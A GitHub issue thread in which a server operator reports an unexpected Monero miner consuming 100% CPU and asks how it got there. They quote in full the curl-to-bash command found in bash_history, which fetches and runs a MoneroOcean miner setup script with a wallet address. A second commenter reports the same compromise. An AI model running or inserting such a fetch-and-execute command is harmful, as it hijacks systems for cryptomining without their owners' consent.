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Monero Miner Suddenly Running and using server resources #23

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nyelnizy opened this issue Nov 30, 2023 · 1 comment
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Monero Miner Suddenly Running and using server resources #23

nyelnizy opened this issue Nov 30, 2023 · 1 comment

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@nyelnizy
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Hello, this is not necessarily an issue but I am not sure where to post it.

So we realized a high cpu(100%) usage on our server 3 days ago and realized the Monero Miner was the process consuming the resources.
We have nothing to do with Monero and so we found it suspicious to see a process we never installed running and using up our resources.
The process was running under a specific user account and so we reviewed the bash_history and noticed a curl command that downloads a script from this repository and executes it (That is why I am posting it here).

This is the cur command:
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 41qbTDmsb6s4RiWgju3kSSNStWYY7mfyoepx4sFmw5um68MxJtnzQQw31bN1Y9hjp4jYwg2WTpeUfaGT375rNvyX4VGNw8Q

We have confirmed no one from our team executed that command and so we suspect the user account that was used to run the command has been compromised.
Does anyone have an Idea what could be going on here?
Thanks.

@iarthit
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iarthit commented Dec 23, 2024

This is a mining script, and I have also been hit. Please delete it as soon as possible

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